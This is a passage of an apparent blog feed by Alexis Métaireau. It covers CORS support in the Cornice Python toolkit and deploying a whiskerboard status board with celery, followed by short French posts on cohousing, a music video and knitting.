&lt;div class="section" id="how-this-is-different-from-jsonp"&gt;
&lt;h2&gt;How this is different from JSONP?&lt;/h2&gt;
&lt;p&gt;You may know the &lt;a class="reference external" href="http://en.wikipedia.org/wiki/JSONP"&gt;JSONP&lt;/a&gt; protocol. JSONP
allows cross origin, but for a particular use case, and does have some
drawbacks (for instance, it's not possible to do DELETEs or PUTs with JSONP).&lt;/p&gt;
&lt;p&gt;JSONP exploits the fact that it is possible to get information from another domain
when you are asking for javascript code, using the &lt;cite&gt;&amp;lt;script&amp;gt;&lt;/cite&gt; element.&lt;/p&gt;
&lt;blockquote&gt;
Exploiting the open policy for &amp;lt;script&amp;gt; elements, some pages use them to
retrieve JavaScript code that operates on dynamically generated
JSON-formatted data from other origins. This usage pattern is known as
JSONP. Requests for JSONP retrieve not JSON, but arbitrary JavaScript code.
They are evaluated by the JavaScript interpreter, not parsed by a JSON
parser.&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div class="section" id="using-cors-in-cornice"&gt;
&lt;h2&gt;Using CORS in Cornice&lt;/h2&gt;
&lt;p&gt;Okay, things are hopefully clearer about CORS, let's see how we
implemented it on the server-side.&lt;/p&gt;
&lt;p&gt;Cornice is a toolkit that lets you define resources in python and takes care of
the heavy lifting for you, so I wanted it to take care of the CORS support as
well.&lt;/p&gt;
&lt;p&gt;In Cornice, you define a service like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cornice&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt;
&lt;span class="n"&gt;foobar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;foobar&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/foobar&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# and then you do something with it&lt;/span&gt;
&lt;span class="nd"&gt;@foobar.get&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_foobar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="c1"&gt;# do something with the request.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To add CORS support to this resource, you can go this way, with the
&lt;cite&gt;cors_origins&lt;/cite&gt; parameter:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;foobar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;foobar&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/foobar&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cors_origins&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;*&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ta-da! You have enabled CORS for your service. &lt;strong&gt;Be aware that you're
authorizing anyone to query your server, that may not be what you want.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Of course, you can specify a list of origins you trust, and you don't need
to stick with &lt;cite&gt;*&lt;/cite&gt;, which means &amp;quot;authorize everyone&amp;quot;.&lt;/p&gt;
&lt;div class="section" id="headers"&gt;
&lt;h3&gt;Headers&lt;/h3&gt;
&lt;p&gt;You can define the headers you want to expose for the service:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;foobar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;foobar&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/foobar&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cors_origins&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;*&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,))&lt;/span&gt;
&lt;span class="nd"&gt;@foobar.get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cors_headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;X-My-Header&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Content-Type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_foobars_please&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;some foobar for you&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I've done some testing and it wasn't working on Chrome because I wasn't
handling the headers the right way (The missing one was &lt;cite&gt;Content-Type&lt;/cite&gt;, that
Chrome was asking for). With my first version of the implementation, I needed
the service implementers to explicitely list all the headers that should be
exposed. While this improves security, it can be frustrating while developing.&lt;/p&gt;
&lt;p&gt;So I introduced an &lt;cite&gt;expose_all_headers&lt;/cite&gt; flag, which is set to &lt;cite&gt;True&lt;/cite&gt; by
default, if the service supports CORS.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="cookies-credentials"&gt;
&lt;h3&gt;Cookies / Credentials&lt;/h3&gt;
&lt;p&gt;By default, the requests you do to your API endpoint don't include the
credential information for security reasons. If you really want to do that,
you need to enable it using the &lt;cite&gt;cors_credentials&lt;/cite&gt; parameter. You can activate
this one on a per-service basis or on a per-method basis.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="caching"&gt;
&lt;h3&gt;Caching&lt;/h3&gt;
&lt;p&gt;When you do a preflight request, the information returned by the server can be
cached by the User-Agent so that it's not redone before each actual call.&lt;/p&gt;
&lt;p&gt;The caching period is defined by the server, using the &lt;cite&gt;Access-Control-Max-Age&lt;/cite&gt;
header. You can configure this timing using the &lt;cite&gt;cors_max_age&lt;/cite&gt; parameter.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="simplifying-the-api"&gt;
&lt;h3&gt;Simplifying the API&lt;/h3&gt;
&lt;p&gt;We have cors_headers, cors_enabled, cors_origins, cors_credentials,
cors_max_age, cors_expose_all_headers … a fair number of
parameters. If you want to have a specific CORS-policy for your services, that
can be a bit tedious to pass these to your services all the time.&lt;/p&gt;
&lt;p&gt;I introduced another way to pass the CORS policy, so you can do something like
that:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;policy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;enabled&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;X-My-Header&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Content-Type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="n"&gt;origins&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;*.notmyidea.org&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="n"&gt;credentials&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="n"&gt;max_age&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;foobar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;foobar&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/foobar&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cors_policy&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;policy&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="comparison-with-other-implementations"&gt;
&lt;h2&gt;Comparison with other implementations&lt;/h2&gt;
&lt;p&gt;I was curious to have a look at other implementations of CORS, in
django for instance, and I found &lt;a class="reference external" href="https://gist.github.com/426829.js"&gt;a gist about it&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Basically, this adds a middleware that adds the &amp;quot;rights&amp;quot; headers to the answer,
depending on the request.&lt;/p&gt;
&lt;p&gt;While this approach works, it's not implementing the specification completely.
You need to add support for all the resources at once.&lt;/p&gt;
&lt;p&gt;We can think about a nice way to implement this specifying a definition of what's
supposed to be exposed via CORS and what shouldn't directly in your settings.
In my opinion, CORS support should be handled at the service definition level,
except for the list of authorized hosts.
Otherwise, you don't know exactly what's going on when you look at the definition of the service.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="resources"&gt;
&lt;h2&gt;Resources&lt;/h2&gt;
&lt;p&gt;There are a number of good resources that can be useful to you if you want to
either understand how CORS works, or if you want to implement it yourself.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="http://enable-cors.org/"&gt;http://enable-cors.org/&lt;/a&gt; is useful to get started when you don't know anything
about CORS.&lt;/li&gt;
&lt;li&gt;There is a W3C wiki page containing information that may be useful about
clients, common pitfalls etc: &lt;a class="reference external" href="http://www.w3.org/wiki/CORS_Enabled"&gt;http://www.w3.org/wiki/CORS_Enabled&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;HTML5 rocks&lt;/em&gt; has a tutorial explaining how to implement CORS, with &lt;a class="reference external" href="http://www.html5rocks.com/en/tutorials/cors/#toc-adding-cors-support-to-the-server"&gt;a nice
section about the server-side&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Be sure to have a look at the &lt;a class="reference external" href="http://caniuse.com/#search=cors"&gt;clients support-matrix for this feature&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;About security, &lt;a class="reference external" href="https://code.google.com/p/html5security/wiki/CrossOriginRequestSecurity"&gt;check out this page&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;If you want to have a look at the implementation code, check &lt;a class="reference external" href="https://github.com/mozilla-services/cornice/pull/98/files"&gt;on github&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Of course, the W3C specification is the best resource to rely on. This
specification isn't hard to read, so you may want to go through it. Especially
the &lt;a class="reference external" href="http://www.w3.org/TR/cors/#resource-processing-model"&gt;&amp;quot;resource processing model&amp;quot; section&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Status board</title><link href="https://blog.notmyidea.org/status-board-fr.html" rel="alternate"></link><published>2012-12-29T00:00:00+01:00</published><updated>2012-12-29T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2012-12-29:/status-board-fr.html</id><summary type="html">&lt;p&gt;À force de démarrer des services web pour un oui et pour un non, de proposer
à des copains d'héberger leurs sites, de faire pareil pour quelques assos etc,
je me suis retrouvé avec, comme dirait l'autre, &lt;em&gt;une bonne platrée&lt;/em&gt; de sites et
de services à gérer sur &lt;cite&gt;lolnet.org …&lt;/cite&gt;&lt;/p&gt;</summary><content type="html">&lt;p&gt;À force de démarrer des services web pour un oui et pour un non, de proposer
à des copains d'héberger leurs sites, de faire pareil pour quelques assos etc,
je me suis retrouvé avec, comme dirait l'autre, &lt;em&gt;une bonne platrée&lt;/em&gt; de sites et
de services à gérer sur &lt;cite&gt;lolnet.org&lt;/cite&gt;, mon serveur.&lt;/p&gt;
&lt;p&gt;Jusqu'à très récemment, rien de tout ça n'était sauvegardé, et non plus monitoré.
Après quelques recherches, je suis tombé sur &lt;a class="reference external" href="http://www.stashboard.org/"&gt;stashboard&lt;/a&gt;, un &amp;quot;status board&amp;quot; qu'il est bien fait. Le seul
problème, c'est écrit pour se lancer sur GAE, &lt;em&gt;Google App Engine&lt;/em&gt;.
Heureusement, c'est open-source, et ça a été forké pour donner naissance
à &lt;a class="reference external" href="https://github.com/bfirsh/whiskerboard"&gt;whiskerboard&lt;/a&gt; (la planche
moustachue, pour les non anglophones).&lt;/p&gt;
&lt;img alt="Capture d'écran du site." src="images/status_board.png" /&gt;
&lt;div class="section" id="verifier-le-statut-des-services"&gt;
&lt;h2&gt;Vérifier le statut des services&lt;/h2&gt;
&lt;p&gt;Donc, c'est chouette, c'est facile à installer, tout ça, mais… mais ça ne fait
en fait pas ce que je veux: ça ne fait que m'afficher le statut des services,
mais ça ne vérifie pas que tout est bien &amp;quot;up&amp;quot;.&lt;/p&gt;
&lt;p&gt;Bon, un peu embêtant pour moi, parce que c'est vraiment ça que je voulais. Pas
grave, je sais un peu coder, autant que ça serve. J'ai ajouté quelques
fonctionnalités au soft, qui sont disponibles sur mon fork, sur
github:: &lt;a class="reference external" href="https://github.com/ametaireau/whiskerboard"&gt;https://github.com/ametaireau/whiskerboard&lt;/a&gt; .&lt;/p&gt;
&lt;p&gt;Entres autres, il est désormais possible de lancer &lt;a class="reference external" href="http://celeryproject.org/"&gt;celery&lt;/a&gt; en tache de fond et de vérifier périodiquement
que les services sont toujours bien vivants, en utilisant une tache spécifique.&lt;/p&gt;
&lt;p&gt;C'était un bonheur de développer ça (on a fait ça à deux, avec guillaume, avec
un mumble + tmux en pair prog, en une petite soirée, ça dépote).&lt;/p&gt;
&lt;p&gt;Les modifications sont assez simples, vous pouvez aller jeter un œil aux
changements ici:
&lt;a class="reference external" href="https://github.com/ametaireau/whiskerboard/compare/b539337416...master"&gt;https://github.com/ametaireau/whiskerboard/compare/b539337416...master&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;En gros:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;ajout d'une &lt;cite&gt;connection_string&lt;/cite&gt; aux services (de la forme
protocol://host:port)&lt;/li&gt;
&lt;li&gt;ajout d'une commande &lt;cite&gt;check_status&lt;/cite&gt; qui s'occupe d'itérer sur les services et
de lancer des taches celery qui vont bien, en fonction du protocole&lt;/li&gt;
&lt;li&gt;ajout des taches en question&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="deploiement"&gt;
&lt;h2&gt;Déploiement&lt;/h2&gt;
&lt;p&gt;Le plus long a été de le déployer en fin de compte, parce que je ne voulais pas
déployer mon service de supervision sur mon serveur, forcément.&lt;/p&gt;
&lt;p&gt;Après un essai (plutôt rapide en fait) sur &lt;a class="reference external" href="http://heroku.com"&gt;heroku&lt;/a&gt;, je me
suis rendu compte qu'il me fallait payer pas loin de 35$ par mois pour avoir un
process &lt;cite&gt;celeryd&lt;/cite&gt; qui tourne, donc j'ai un peu cherché ailleurs, pour
finalement déployer la chose chez &lt;a class="reference external" href="https://www.alwaysdata.com/"&gt;alwaysdata&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Après quelques péripéties, j'ai réussi à faire tourner le tout, ça à été un peu
la bataille au départ pour installer virtualenv (j'ai du faire des changements
dans mon &lt;cite&gt;PATH&lt;/cite&gt; pour que ça puisse marcher), voici mon &lt;cite&gt;.bash_profile&lt;/cite&gt;:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
export PYTHONPATH=~/modules/
export PATH=$HOME/modules/bin:$HOME/modules/:$PATH
&lt;/pre&gt;
&lt;p&gt;Et après y'a plus qu'à installer avec &lt;cite&gt;easy_install&lt;/cite&gt;:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
easy_install --install-dir ~/modules -U pip
easy_install --install-dir ~/modules -U virtualenv
&lt;/pre&gt;
&lt;p&gt;Et à créer le virtualenv:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
virtualenv venv
venv/bin/pip install -r requirements.txt
&lt;/pre&gt;
&lt;p&gt;Dernière étape, la création d'un fichier &lt;cite&gt;application.wsgi&lt;/cite&gt; qui s'occupe de
rendre l'application disponible, avec le bon venv:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;span class="n"&gt;activate_this&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/home/lolnet/venv/bin/activate_this.&lt;/span&gt;
&lt;span class="nb"&gt;execfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;activate_this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="vm"&gt;__file__&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;activate_this&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;paths&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/home/lolnet/public&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,]&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;paths&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;django.core.handlers.wsgi&lt;/span&gt;
&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;DJANGO_SETTINGS_MODULE&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;settings&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;application&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;handlers&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wsgi&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WSGIHandler&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="ssl-et-requests"&gt;
&lt;h2&gt;SSL et Requests&lt;/h2&gt;
&lt;p&gt;Quelques tours de manivelle plus loin, j'ai un celeryd qui tourne et qui
consomme les taches qui lui sont envoyées (pour des questions de simplicité,
j'ai utilisé le backend &lt;cite&gt;django&lt;/cite&gt; de celery, donc pas besoin d'AMQP, par
exemple).&lt;/p&gt;
&lt;p&gt;Problème, les ressources que je vérifie en SSL (HTTPS) me jettent. Je sais pas
exactement pourquoi à l'heure qu'il est, mais il semble que lorsque je fais une
requête avec &lt;a class="reference external" href="http://docs.python-requests.org/en/latest/"&gt;Requests&lt;/a&gt; je me
récupère des &lt;em&gt;Connection Refused&lt;/em&gt;. Peut être une sombre histoire de proxy ? En
attendant, les appels avec &lt;cite&gt;CURL&lt;/cite&gt; fonctionnent, donc j'ai fait &lt;a class="reference external" href="https://github.com/ametaireau/whiskerboard/blob/master/board/tasks.py#L17"&gt;un fallback
vers CURL lorsque les autres méthodes échouent&lt;/a&gt;.
Pas super propre, mais ça fonctionne.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; Finalement, il se trouve que mon serveur était mal configuré.
J'utilisais haproxy + stunnel, et la négiciation SSL se passait mal. Une fois
SSL et TLS activés, et SSLv2 désactivé, tout fonctionne mieux.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="et-voila"&gt;
&lt;h2&gt;Et voilà&lt;/h2&gt;
&lt;p&gt;Finalement, j'ai mon joli status-board qui tourne à merveille sur
&lt;a class="reference external" href="http://status.lolnet.org"&gt;http://status.lolnet.org&lt;/a&gt; :-)&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Habitat collectif</title><link href="https://blog.notmyidea.org/habitat-collectif.html" rel="alternate"></link><published>2012-12-28T00:00:00+01:00</published><updated>2012-12-28T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2012-12-28:/habitat-collectif.html</id><summary type="html">&lt;p&gt;Habiter à plusieurs, partager un lieu de vie, monter une communauté, changer
nos modes de vie et prendre plus de temps les uns pour les autres.&lt;/p&gt;
&lt;p&gt;Ça fait réfléchir un peu quand même, non ? en tout cas ça marche chez moi.&lt;/p&gt;
&lt;p&gt;Voilà quelques ressources qui peuvent être utiles si jamais …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Habiter à plusieurs, partager un lieu de vie, monter une communauté, changer
nos modes de vie et prendre plus de temps les uns pour les autres.&lt;/p&gt;
&lt;p&gt;Ça fait réfléchir un peu quand même, non ? en tout cas ça marche chez moi.&lt;/p&gt;
&lt;p&gt;Voilà quelques ressources qui peuvent être utiles si jamais vous aussi ça vous
titille:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="http://www.habicoop.fr/IMG/pdf/Memoire_hbtat_coop_Vaulx-2.pdf"&gt;LHabitat Coopératif : Solution au problème de responsabilisation sociale des
copropriétaires sur la commune de Vaulx en Velin
?&lt;/a&gt; - mémoire REPIQUET Anne
2005.&lt;/li&gt;
&lt;li&gt;Un bouquin à lire avec plein d'infos: &lt;a class="reference external" href="http://www.ecosociete.org/t101.php"&gt;Vivre autrement&lt;/a&gt; de Diana Leafe Christian.&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
</content></entry><entry><title>Languages</title><link href="https://blog.notmyidea.org/languages.html" rel="alternate"></link><published>2012-12-28T00:00:00+01:00</published><updated>2012-12-28T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2012-12-28:/languages.html</id><summary type="html">&lt;p&gt;Ouriel Ellert &amp;quot; Languages&amp;quot; avec Anthony Jambon &amp;amp; Natascha Rogers, c'est
enregistré par le &lt;a class="reference external" href="http://www.studiomezzanine.fr"&gt;Studio Mezzanine&lt;/a&gt; qui comme d'hab font un
travail impeccable.&lt;/p&gt;
&lt;p&gt;Plus d'infos sur Natasha Rogers et son groupe ici:
&lt;a class="reference external" href="http://www.studiomezzanine.fr/natascha-rogers/"&gt;http://www.studiomezzanine.fr/natascha-rogers/&lt;/a&gt;&lt;/p&gt;
&lt;iframe width="650" height="480" src="http://www.youtube.com/embed/3I5PPdsTFz0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;</summary><content type="html">&lt;p&gt;Ouriel Ellert &amp;quot; Languages&amp;quot; avec Anthony Jambon &amp;amp; Natascha Rogers, c'est
enregistré par le &lt;a class="reference external" href="http://www.studiomezzanine.fr"&gt;Studio Mezzanine&lt;/a&gt; qui comme d'hab font un
travail impeccable.&lt;/p&gt;
&lt;p&gt;Plus d'infos sur Natasha Rogers et son groupe ici:
&lt;a class="reference external" href="http://www.studiomezzanine.fr/natascha-rogers/"&gt;http://www.studiomezzanine.fr/natascha-rogers/&lt;/a&gt;&lt;/p&gt;
&lt;iframe width="650" height="480" src="http://www.youtube.com/embed/3I5PPdsTFz0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;</content><category term="note"></category></entry><entry><title>Tricot</title><link href="https://blog.notmyidea.org/tricot.html" rel="alternate"></link><published>2012-12-28T00:00:00+01:00</published><updated>2012-12-28T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2012-12-28:/tricot.html</id><summary type="html">&lt;p&gt;Puisque j'ai décidé d'apprendre à faire les trucs moi-même, je me mets au
tricot. Et puis y'a aussi tout un symbole derrière: le tricot, c'est pour les
filles, tu sais, un &amp;quot;truc de gonzesse&amp;quot;.&lt;/p&gt;
&lt;p&gt;Eh bah c'est pas gagné, jte le dis. Pour l'instant j'ai réussi à faire à peu …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Puisque j'ai décidé d'apprendre à faire les trucs moi-même, je me mets au
tricot. Et puis y'a aussi tout un symbole derrière: le tricot, c'est pour les
filles, tu sais, un &amp;quot;truc de gonzesse&amp;quot;.&lt;/p&gt;
&lt;p&gt;Eh bah c'est pas gagné, jte le dis. Pour l'instant j'ai réussi à faire à peu
près un rang d'endroit et j'arrive pas à enchainer sur l'envers pour réussir
à faire un point jersey (jersey c'est un rang endroit puis un rang envers).&lt;/p&gt;
&lt;p&gt;Enfin bref, si jamais ça vous botte vous aussi, voila quelques ressources que
j'ai trouvé sur internet (en plus des conseils avisés de maman chérie™):&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="http://www.youtube.com/watch?v=VcGiBG2BNxo&amp;amp;list=UUskaiVNnKf7amRb5OI5op_w"&gt;Montage des mailles &amp;quot;normales&amp;quot;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://www.youtube.com/watch?v=aIQtNN89pqA&amp;amp;list=UUskaiVNnKf7amRb5OI5op_w"&gt;Le point jersey&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;La nana explique plutôt bien et assez lentement. En espérant que ça prenne.&lt;/p&gt;
</content><category term="note"></category></entry><entry><title>Astuces SSH</title><link href="https://blog.notmyidea.org/astuces-ssh.html" rel="alternate"></link><published>2012-12-27T00:00:00+01:00</published><updated>2012-12-27T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2012-12-27:/astuces-ssh.html</id><summary type="html">&lt;div class="section" id="tunelling"&gt;
&lt;h2&gt;Tunelling&lt;/h2&gt;
